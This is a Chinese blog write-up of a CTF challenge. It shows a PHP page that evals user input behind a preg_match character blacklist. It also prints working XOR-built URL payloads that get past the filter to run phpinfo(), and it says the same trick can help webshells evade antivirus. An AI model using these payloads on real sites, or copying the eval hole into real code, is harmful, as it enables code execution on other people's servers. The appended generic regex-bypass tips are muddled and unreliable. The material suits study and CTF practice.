某变态CTF比赛绕过preg_match

在圈子中看到了有表哥发变态CTF中preg_match绕过的姿势,并没有写绕过的具体原理及方法,本着学习的态度,查了查资料简单复现了一下。

0x00 题目原型是这样的
测试环境
php7.0.12
apache5.3

<?php highlight_file(__FILE__); if(!preg_match('/[0-9,.$&|{_defogps]/is',$_GET['shell'])){ eval($_GET['shell']); }?>

简单理解shell参数接收时不允许包含以下字符串"0123456789,.$&|{_defogps]",最终的目的是要到eval()函数中去执行任意代码,这题也就是考研我们如何绕过这个preg_match。
通过表哥给的姿势是这样的
http://127.0.0.1/1.php?shell=(%27%01%00%01%00%00%04%01%27^%27qhqinbn%27)();
标红的部分是payload
最终结果

简单来说将特殊字符通过异或的方式重组了phpinfo();,当然这也得益于php语义的灵活性。下面看看如何构造payload。

0x01 原理

什么是按位异或,异或本质是二进制运算
1001
0101

1100

对应二进制位相异(不相同)时,结果为1,否则为0.
举例: 比如95,其实就是1001 0101 = 1,因此9^5=1100=12

在php中,abc^def,会产生一个新的字符串,比较方式是:a的ascii码和d的ascii码进行二进制异或操作,生成新的二进制,然后转换为ascii,进而生成新的异或结果。所以,异或会产生新的字符串,上面表哥给的payload就是基于这样的方式生成出来的。

0x02 生成有效的异或字符

1、先过滤出未被程序过滤的字符的ASCII码

0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,37,39,40,41,42,43,45,47,58,59,60,61,62,63,64,65,66,67,72,73,74,75,76,77,78,81,82,84,85,86,87,88,89,90,91,92,93,94,96,97,98,99,104,105,106,107,108,109,110,113,114,116,…后面省略了

2、使用python脚本过滤有效的字符

通过以上呢可以有效的获取到phpinfo异或后的组合,可以看到有很多
随便挑一个就行了
10^69=p
11^79=h
10^69=p
10^79=i
16^78=n
11^77=f
16^79=o

最后换成url格式
%27%10%11%10%10%16%11%16%27^%27%60y%60yxwy%27;

成功执行

总结

异或除了绕过以外,还可以免杀自己的webshell哦。

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
preg_match函数是PHP中用于执行正则表达式匹配的函数。在CTF比赛中,可能会遇到一些安全控制中使用了正则表达式检查输入的情况。为了绕过这种检查,可以尝试以下方法: 1. 绕过正则表达式匹配的特殊字符:在正则表达式中,有一些特殊字符如$、^、*、+等,如果直接输入这些字符,很可能会被正则表达式匹配函数检测出来。可以使用反斜杠\对这些特殊字符进行转义,绕过检测。例如,要匹配字符串$abc,可以使用正则表达式/\$abc/。 2. 绕过正则表达式中使用的黑名单:有时候,安全控制会设置一个正则表达式的黑名单,例如禁止出现' or ''='等关键词。可以使用一些技巧来绕过这种检测,例如使用大小写混合、使用空格、使用HTML实体等。例如,要匹配字符串' or ''=',可以使用正则表达式/'[\s]*oR[\s]*'='[\s]*'/i,其中[\s]*表示0个或多个空格,i表示大小写不敏感。 3. 利用正则表达式的漏洞:有时候,正则表达式本身可能存在一些漏洞,可以利用这些漏洞来绕过安全控制。例如,正则表达式中的量词可能会导致性能问题,可以尝试使用非贪婪量词来绕过匹配。例如,要匹配字符串abc,可以使用正则表达式/a.*?c/,其中.*?表示非贪婪匹配任意字符。 4. 绕过正则表达式的限制:有时候,正则表达式的长度限制或者复杂度限制可能会导致无法匹配某些字符串。可以尝试使用一些技巧来绕过这种限制,例如将正则表达式拆分成多个部分、使用递归匹配等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值